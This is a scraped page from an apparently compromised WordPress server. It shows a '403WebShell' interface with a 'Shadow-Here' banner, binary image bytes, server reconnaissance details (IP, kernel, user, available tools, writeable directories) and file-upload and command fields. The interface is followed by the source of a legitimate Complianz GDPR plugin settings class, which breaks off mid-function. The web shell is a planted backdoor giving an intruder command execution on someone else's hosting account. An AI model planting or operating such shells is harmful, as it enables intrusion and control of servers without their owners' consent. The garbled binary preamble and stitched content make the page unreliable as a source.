....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/sexo_tlse/wp-content/plugins/complianz-gdpr/websitescan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/sexo_tlse/wp-content/plugins/complianz-gdpr//websitescan/class-wsc-settings.php
<?php

defined('ABSPATH') or die();

if (!class_exists("cmplz_wsc_settings")) {

	class cmplz_wsc_settings
	{

		public function init_hooks()
		{
			add_action("cmplz_do_action", array($this, 'handle_wsc_settings_action'), 10, 3);
			add_filter('cmplz_menu', array($this, 'add_website_scan_menu'));
			add_filter('cmplz_fields', array($this, 'add_website_scan_fields'), 80);
			add_action("cmplz_before_save_option", array($this, 'cmplz_before_save_option'), 100, 4);
			add_action('cmplz_every_day_hook', array($this, 'check_failed_user_deletion'));
			add_action('cmplz_store_newsletter_onboarding_consent', array($this, 'cmplz_store_newsletter_onboarding_consent_handler'), 10, 2);
		}


		/**
		 * Handles various onboarding actions.
		 *
		 * This method is responsible for handling different actions related to onboarding.
		 * It checks the user's capability to manage, and based on the action provided,
		 * performs the necessary operations such as sending authentication emails,
		 * resetting website scan, enabling or disabling the website scan, checking token status,
		 * and signing up for the newsletter.
		 *
		 * @param array $data The data associated with the action.
		 * @param string $action The action to be performed.
		 * @param WP_REST_Request $request The REST request object.
		 * @return array The updated data after performing the action.
		 */
		public function handle_wsc_settings_action(array $data, string $action, WP_REST_Request $request): array
		{
			if (!cmplz_user_can_manage()) {
				return [];
			}
			switch ($action) {
				case 'request_activation_email':
					$stored_email = cmplz_get_option(cmplz_wsc::WSC_EMAIL_OPTION_KEY);
					if (is_email($stored_email)) {
						cmplz_wsc_auth::send_auth_email($stored_email);
						// set an option with the signup date
						update_option('cmplz_wsc_signup_date', time(), false);
					}
					break;
				// reset Website Scan
				case 'reset_wsc':
					$reset = $this->cmplz_wsc_reset_websitescan(); // true false
					$data = [
						'result' => $reset,
						'redirect' => cmplz_admin_url('#settings/settings-cd')
					];
					break;
				// just enable the wsc, update the option 'cmplz_wsc_status'
				case 'enable_wsc':
					$data = $this->handle_wsc_actions('enable_wsc');
					break;
				// just disable the wsc, update the option 'cmplz_wsc_status'
				case 'disable_wsc':
					$data = $this->handle_wsc_actions('disable_wsc');
					break;
				// check the token status, return 'updated', 'token_status', 'wsc_status', 'wsc_signup_date'
				case 'get_wsc_status':
					$data = $this->handle_wsc_actions('get_wsc_status');
					break;
				// to be defined
				case 'signup_newsletter':
					$posted_data = $request->get_json_params();
					$email = sanitize_email($posted_data['email']);
					if (is_email($email)) {
						cmplz_wsc_auth::newsletter_sign_up($email);
						// newsletter_consent
						cmplz_wsc_onboarding::schedule_store_onboarding_consent('cmplz_store_newsletter_onboarding_consent', 1200, ['newsletter_consent', $posted_data]);
					}
					break;
			}
			return $data;
		}

		/**
		 * Handles WSC (Website Scan) actions.
		 *
		 * This method handles actions related to enabling or disabling the WSC feature.
		 * It updates the WSC status option based on the provided action.
		 * It also retrieves the token, WSC status, and WSC signup date options.
		 *
		 * @param string $action The action to be performed (enable_wsc or disable_wsc).
		 * @return array An array containing the updated date, token status, WSC status, and WSC signup date.
		 */
		private function handle_wsc_actions(string $action): array
		{
			$data = [];
			if (empty($action)) return $data;
			if ($action === 'enable_wsc') update_option('cmplz_wsc_status', 'enabled', false);
			if ($action === 'disable_wsc') update_option('cmplz_wsc_status', 'disabled', false);

			$token_status = $this->get_token_status(); // could be false

			$updated_wsc_status = get_option('cmplz_wsc_status'); // Website Scan status
			$wsc_signup_date = get_option('cmplz_wsc_signup_date') ? get_option('cmplz_wsc_signup_date') : false;
			$wsc_lock = COMPLIANZ::$wsc_onboarding->wsc_locked();

			return [
				'token_status' => $token_status, // token status
				'wsc_status' => $updated_wsc_status,
				'wsc_signup_date' => $wsc_signup_date,
				'wsc_lock' => $wsc_lock,
			];
		}


		/**
		 * Retrieves the token status.
		 *
		 * This method retrieves the token status by checking the value of the 'cmplz_wsc_signup_status' option.
		 * If the option is not set, it retrieves the token using the 'get_token' method and sets the status accordingly.
		 * The possible values for the status are 'pending', 'enabled', and 'disabled'.
		 *
		 * @return string The token status.
		 */
		public static function get_token_status(): string
		{
			$status = get_option('cmplz_wsc_signup_status', false);
			$token = cmplz_get_transient('cmplz_wsc_access_token');
			$error_token_api = get_option('cmplz_wsc_error_token_api');

			if (!$token) {
				$token = cmplz_wsc_auth::get_token(true);
			}

			if ($token) {
				$status = 'enabled';
			} elseif (!$token && $error_token_api) {
				$status = 'error';
			} else {
				$status = 'disabled';
			}

			if ($status !== get_option('cmplz_wsc_signup_status')) {
				update_option('cmplz_wsc_signup_status', $status);
			}

			return $status;
		}


		/**
		 * Add the website scan ux to Settings > APIs
		 * It modifies the existing menu array by appending a new menu item for website scan under the 'settings-cd' menu item.
		 *
		 * @param array $menu The existing menu array.
		 * @return array The modified menu array with the website scan menu item added.
		 *
		 */
		public function add_website_scan_menu(array $menu): array
		{
			foreach ($menu as $key => $item) {
				if ($item['id'] === 'settings') {
					foreach ($item['menu_items'] as $menu_key => $menu_item) {
						if ($menu_item['id'] === 'settings-cd') {
							$websiteScanItem = [
								'id' => 'settings-websitescan',
								'title' => __('Website Scan', 'complianz-gdpr'),
								'intro' => __('Here you can manage your credentials. If you don’t want to use the Website Scan, you can reset it. A token will be created to verify your website. After creating your credentials, please make sure to check your email for a confirmation.', 'complianz-gdpr'),
								'premium_text' => __("View and manage Processing Agreements with %sComplianz GDPR Premium%s", 'complianz-gdpr'),
								'helpLink' => 'https://complianz.io/about-the-website-scan/',
							];
							$menu[$key]['menu_items'][$menu_key]['groups'][] = $websiteScanItem;
						}
					}
				}
			}
			return $menu;
		}


		/**
		 * Add Website Scan fields
		 *
		 * This method is used to add website scan fields to an array of fields.
		 *
		 * @param array $fields The array of fields to add the website scan fields to.
		 * @return array The updated array of fields with the website scan fields added.
		 */
		public function add_website_scan_fields(array $fields): array
		{
			return array_merge(
				$fields,
				[
					// wsc fields
					[
						'id' => cmplz_wsc::WSC_EMAIL_OPTION_KEY,
						'menu_id' => 'settings-cd',
						'group_id' => 'settings-websitescan',
						'type' => 'email',
						'required' => false,
						'default' => $this->retrieve_default_email_address(),
						'label' => __("E-mail address", 'complianz-gdpr'),
					],
					[
						'id' => cmplz_wsc::WSC_CLIENT_ID_OPTION_KEY,
						'menu_id' => 'settings-cd',
						'group_id' => 'settings-websitescan',
						'type' => 'text',
						'required' => false,
						'default' => '',
						'label' => __("Client ID", 'complianz-gdpr'),
						'server_conditions' => [
							'relation' => 'AND',
							[
								'cmplz_wsc_is_enabled()' => true,
							]
						],
					],
					[
						'id' => cmplz_wsc::WSC_CLIENT_SECRET_OPTION_KEY,
						'menu_id' => 'settings-cd',
						'group_id' => 'settings-websitescan',
						'type' => 'password',
						'required' => false,
						'default' => '',
						'label' => __("Client Secret", 'complianz-gdpr'),
						'server_conditions' => [
							'relation' => 'AND',
							[
								'cmplz_wsc_is_enabled()' => true,
							]
						],
					],
					[
						'id' => cmplz_wsc::WSC_SITE_ID_OPTION_KEY,
						'type' => 'hidden',
						'required' => false,
						'visible' => false,
						'default' => '',
					],
					[
						'id' => 'websitescan_status',
						'menu_id' => 'settings-cd',
						'group_id' => 'settings-websitescan',
						'type' => 'websitescan_status',
						'required' => false,
						'default' => '',
					],
					[
						'id' => 'websitescan_actions',
						'menu_id' => 'settings-cd',
						'group_id' => 'settings-websitescan',
						'type' => 'websitescan_actions',
						'required' => false,
						'default' => '',
					],
				]
			);
		}

		/**
		 * Retrieve a default email address for the onboarding dialog
		 *
		 * This method retrieves a default email address for the onboarding dialog.
		 * It first tries to retrieve the email address from the "cmplz wsc email" option.
		 * If the option is empty or not set, it falls back to the WordPress admin email address.
		 *
		 * @return string The default email address for the onboarding dialog.
		 */
		public function retrieve_default_email_address(): string
		{
			// Retrieve the email address from cmplz wsc email option
			$email_address = cmplz_get_option(cmplz_wsc::WSC_EMAIL_OPTION_KEY);

			// If cmplz wsc email doesn't exists, fallback to admin_email
			if (empty($email_address) || $email_address === '') {
				$email_address = get_bloginfo('admin_email');
			}

			// Return the email address if it is valid, otherwise return an empty string
			return filter_var($email_address, FILTER_VALIDATE_EMAIL) ? $email_address : '';
		}


		/**
		 * This method is called before saving an option in the plugin.
		 *
		 * It performs various actions based on the field being saved, such as sending
		 * an authentication email if a user change the one associated to the wsc application,
		 * enabling/disabling the newsletter or signing up.
		 *
		 *
		 * @param string $field_id The ID of the field being saved.
		 * @param mixed $field_value The new value of the field being saved.
		 * @param mixed $prev_value The previous value of the field being saved.
		 * @return void
		 */
		public function cmplz_before_save_option($field_id, $field_value, $prev_value): void
		{
			if (!cmplz_user_can_manage()) {
				return;
			}

			// nothing change
			if ($field_value === $prev_value) {
				return;
			}

			switch ($field_id) {
				// check if the user changed the email used for the wsc activation
				case cmplz_wsc::WSC_EMAIL_OPTION_KEY:
					// prevent orphan site deleting the application
					$this->cmplz_wsc_reset_websitescan();
					// create a new application
					$email = sanitize_email($field_value);
					if ($email) {
						cmplz_wsc_auth::send_auth_email($email);
						// add an action to be executed after saving the fields
						// to reset the client_id and client_secret
						add_action("cmplz_after_saved_fields", array($this, 'after_saved_fields'), 100, 1);
					}
					break;

				case 'send_notifications_email': // switch true / false
					$is_enabled = $field_value;

					// if ($is_enabled) {
					// 	error_log('enable newsletter'); // wait for api
					// } else {
					// 	error_log('disable newsletter'); // wait for api
					// }
					break;

				case 'notifications_email_address':
					// newsletter signup the new address
					$email = sanitize_email($field_value);
					if ($email) {
						cmplz_wsc_auth::newsletter_sign_up($email);
					}
					break;

				default:
					return;
			}
		}


		/**
		 * This method is called after the fields are saved.
		 * If the email address has changed, it clears the values of 'wsc_client_id' and 'wsc_client_secret' fields.
		 *
		 * @param array $fields The array of fields.
		 * @return array The modified array of fields.
		 */
		public function after_saved_fields(array $fields): array
		{
			if (!cmplz_user_can_manage()) {
				return $fields;
			}

			//in $fields, find wsc_client_id and wsc_client_secret, and set the 'value' to ''
			foreach ($fields as $key => $field) {
				if (in_array($field['id'], array(cmplz_wsc::WSC_CLIENT_ID_OPTION_KEY, cmplz_wsc::WSC_CLIENT_SECRET_OPTION_KEY))) {
					$fields[$key]['value'] = '';
				}
			}

			return $fields;
		}


		/**
		 *
		 * Handle the website scan reset
		 * Delete values on cmplz_settings option, options and transients.
		 *
		 *
		 * @return bool
		 */
		public function cmplz_wsc_reset_websitescan(): bool
		{
			global $wpdb;

			$options = [
				// settings
				'cmplz_wsc_signup_status',
				'cmplz_wsc_signup_date',
				'cmplz_wsc_status',
				'cmplz_wsc_onboarding_complete',
				'cmplz_wsc_auth_completed',
				// notices
				'cmplz_wsc_error_email_mismatch',
				'cmplz_wsc_error_missing_token',
				'cmplz_wsc_error_email_auth_failed',
				'cmplz_wsc_error_email_not_sent',
				// token.
				'cmplz_wsc_error_token_api',
				'cmplz_wsc_connection_updated',
				'cmplz_wsc_onboarding_status',
				'cmplz_wsc_scan_id',
				'cmplz_wsc_scan_createdAt',
				'cmplz_wsc_scan_status',
				'cmplz_wsc_scan_iteration',
				'cmplz_wsc_scan_progress',
				'cmplz_wsc_scan_first_run',
				// onboarding date.
				cmplz_wsc::WSC_OPT_ONBOARDING_DATE,
			];

			$cmplz_options = apply_filters( 'cmplz_remove_wsc_options', array(
					cmplz_wsc::WSC_EMAIL_OPTION_KEY,
					cmplz_wsc::WSC_CLIENT_ID_OPTION_KEY,
					cmplz_wsc::WSC_CLIENT_SECRET_OPTION_KEY,
					cmplz_wsc::WSC_SITE_ID_OPTION_KEY,
				)
			);

			$cmplz_transients = [
				'cmplz_wsc_access_token'
			];

			$dynamic_options = [
				'cmplz_%_consentdata',
				'cmplz_consent_error_',
				'cmplz_wsc_user_deletion_%',
				'cmplz_consent_%'
			];

			try {
				$temp_credentials = get_option('cmplz_wsc_user_deletion_temp_credentials');
				$client_id = cmplz_get_option(cmplz_wsc::WSC_CLIENT_ID_OPTION_KEY);
				$client_secret = cmplz_get_option(cmplz_wsc::WSC_CLIENT_SECRET_OPTION_KEY);

				$current_user = [
					'client_id' => $client_id,
					'client_secret' => $client_secret
				];

				$temp_credentials[] = $current_user;
				update_option('cmplz_wsc_user_deletion_temp_credentials', $temp_credentials);

				$token = cmplz_wsc_auth::get_token(true);  // new token request, skip the one not expired stored into the db

				if (!$token) {
					$this->log_user_deletion_error('cmplz_wsc_user_deletion_token_error', 'Token not retrieved');
				} else {
					// Make the API request to delete the application
					$request = wp_remote_request(cmplz_wsc_auth::WSC_ENDPOINT . '/api/lite/oauth_applications', array(
						'method' => 'DELETE',
						'headers' => array(
							'Content-Type' => 'application/json',
							'Authorization' => 'Bearer ' . $token,
						),
						'timeout' => 15,
						'sslverify' => true,
					));

					if (is_wp_error($request)) {
						$this->log_user_deletion_error('cmplz_wsc_user_deletion_error', $request->get_error_message());
					}

					$response_code = wp_remote_retrieve_response_code($request);

					if ($response_code === 204) {
						$options = array_merge($options, [
							'cmplz_wsc_user_deletion_temp_credentials'
						]);
					} else {
						$this->log_user_deletion_error('cmplz_wsc_user_deletion_error', 'Unexpected API response');
					}
				}

				// Proceed with cleanup
				foreach ($options as $option) {
					delete_option($option);
				}

				// remove dynamic options
				foreach ($dynamic_options as $option_name) {
					$wpdb->query(
						$wpdb->prepare(
							"DELETE FROM $wpdb->options WHERE option_name LIKE %s",
							$option_name
						)
					);
				}

				// remove client credentials
				foreach ($cmplz_options as $cmplz_option) {
					cmplz_update_option_no_hooks($cmplz_option, '');
				}

				foreach ($cmplz_transients as $cmplz_transient) {
					cmplz_delete_transient($cmplz_transient);
				}

				update_option('cmplz_wsc_reset_complete', true, false);

				return true;
			} catch (Exception $e) {
				$error = 'Exception during API request: ' . $e->getMessage();
				$this->log_user_deletion_error('cmplz_wsc_user_deletion_error', $error);
				if (WP_DEBUG) {
					error_log($error);
				}
				return false;
			}
		}


		/**
		 * Checks if there was an error during user deletion and triggers the reset of the website scan if necessary.
		 *
		 * This function checks if there was an error during user deletion by retrieving the values
		 * of the 'cmplz_wsc_user_deletion_error' and 'cmplz_wsc_user_deletion_token_error' options.
		 * If either of these options is set to true, the function triggers the reset of the website scan
		 * by calling the 'cmplz_wsc_reset_websitescan' method.
		 *
		 * @return void
		 */
		public function check_failed_user_deletion():void
		{
			$options = [
				'cmplz_wsc_user_deletion_error',
				'cmplz_wsc_user_deletion_error_message',
				'cmplz_wsc_user_deletion_error_timestamp',
				'cmplz_wsc_user_deletion_token_error',
				'cmplz_wsc_user_deletion_token_error_message',
				'cmplz_wsc_user_deletion_token_error_timestamp',
				'cmplz_wsc_user_deletion_temp_credentials'
			];

			$failed_deletion = get_option('cmplz_wsc_user_deletion_temp_credentials', false); // array
			if (!$failed_deletion) {
				foreach ($options as $option) {
					delete_option($option);
				}
			} else {
				foreach ($failed_deletion as $client_credentials) {
